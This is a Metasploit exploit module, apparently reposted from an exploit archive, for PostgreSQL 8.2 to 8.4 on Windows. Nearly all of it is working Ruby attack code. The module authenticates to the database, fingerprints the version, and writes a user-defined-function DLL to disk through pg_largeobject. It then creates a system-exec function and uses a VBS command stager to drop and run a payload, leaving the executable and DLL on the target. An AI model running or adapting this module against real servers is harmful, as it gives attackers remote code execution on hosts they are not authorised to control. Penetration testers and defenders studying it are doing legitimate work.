PostgreSQL for Microsoft Windows Payload Execution

##
# $Id: postgres_payload.rb 12115 2011-03-23 21:24:09Z todb $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::Postgres
    include Msf::Exploit::CmdStagerVBS
 
    # Creates an instance of this module.
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PostgreSQL for Microsoft Windows Payload Execution',
            'Description'    => %q{
                This module creates and enables a custom UDF (user defined function) on the
                target host via the UPDATE pg_largeobject method of binary injection. On
                default Microsoft Windows installations of PostgreSQL (=< 8.4), the postgres
                service account may write to the Windows temp directory, and may source
                UDF DLL's from there as well.
 
                PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on Microsoft Windows (32-bit) are
                valid targets for this module.
 
                NOTE: This module will leave a payload executable on the target system when the
                attack is finished, as well as the UDF DLL and the OID.
            },
            'Author'         =>
            [
                'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
                'todb' # this Metasploit module
            ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 12115 $',
            'References'     =>
                [
                    [ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf',
                        'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' # A litte more specific to PostgreSQL
                    ]
                ],
            'Platform'       => 'win',
            'Targets'        =>
        [
            [ 'Automatic', { } ], # Confirmed on XXX
        ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.
        ))
        register_options(
            [
                OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ])
        ])
 
        deregister_options('SQL', 'RETURN_ROWSET')
    end
 
    # Buncha stuff to make typing easier.
    def username; datastore['USERNAME']; end
    def password; datastore['PASSWORD']; end
    def database; datastore['DATABASE']; end
    def verbose; datastore['VERBOSE']; end
    def rhost; datastore['RHOST']; end
    def rport; datastore['RPORT']; end
 
    def execute_command(cmd, opts)
        postgres_sys_exec(cmd)
    end
 
    def exploit
        version = get_version(username,password,database,verbose)
        case version
        when :nocompat; print_error "Authentication successful, but not a compatable version."
        when :noauth; print_error "Authentication failed."
        when :noconn; print_error "Connection failed."
        end
        return unless version =~ /8\.[234]/
        print_status "Authentication successful and vulnerable version #{version} on Windows confirmed."
        tbl,fld,dll,oid = postgres_upload_binary_file(dll_fname(version))
        unless tbl && fld && dll && oid
            print_error "Could not upload the UDF DLL"
            return
        end
        print_status "Uploaded #{dll} as OID #{oid} to table #{tbl}(#{fld})"
        ret_sys_exec = postgres_create_sys_exec(dll)
        if ret_sys_exec
            if @postgres_conn
                execute_cmdstager({:linemax => 1500, :nodelete => true})
                handler
                postgres_logout if @postgres_conn
            else
                print_error "Lost connection."
                return
            end
        end
        postgres_logout if @postgres_conn
    end
 
    def dll_fname(version)
        File.join(Msf::Config.install_root,"data","exploits","postgres",version,"lib_postgresqludf_sys.dll")
    end
 
    # A shorter version of do_fingerprint from the postgres_version scanner
    # module, specifically looking for versions that valid targets for this
    # module.
    def get_version(user=nil,pass=nil,database=nil,verbose=false)
        begin
            msg = "#{rhost}:#{rport} Postgres -"
            password = pass || postgres_password
            print_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") if verbose
            result = postgres_fingerprint(
                :db => database,
                :username => user,
                :password => password
            )
            if result[:auth]
                # So, the only versions we have DLL binaries for are PostgreSQL 8.2, 8.3, and 8.4
                # This also checks to see if it was compiled with a windows-based compiler --
                # the stock Postgresql downloads are Visual C++ for 8.4 and 8.3, and GCC for mingw)
                # Also, the method to write files to disk doesn't appear to work on 9.0, so
                # tabling that version for now.
                if result[:auth] =~ /PostgreSQL (8\.[234]).*(Visual C\+\+|mingw|cygwin)/i
                    return $1
                else
                    print_status "Found #{result[:auth]}"
                    return :nocompat
                end
            else
                return :noauth
            end
        rescue Rex::ConnectionError
            print_error "#{rhost}:#{rport} Connection Error: #{$!}" if datastore['VERBOSE']
            return :noconn
        end
    end
 
end



#  0day.today [2018-02-17]  #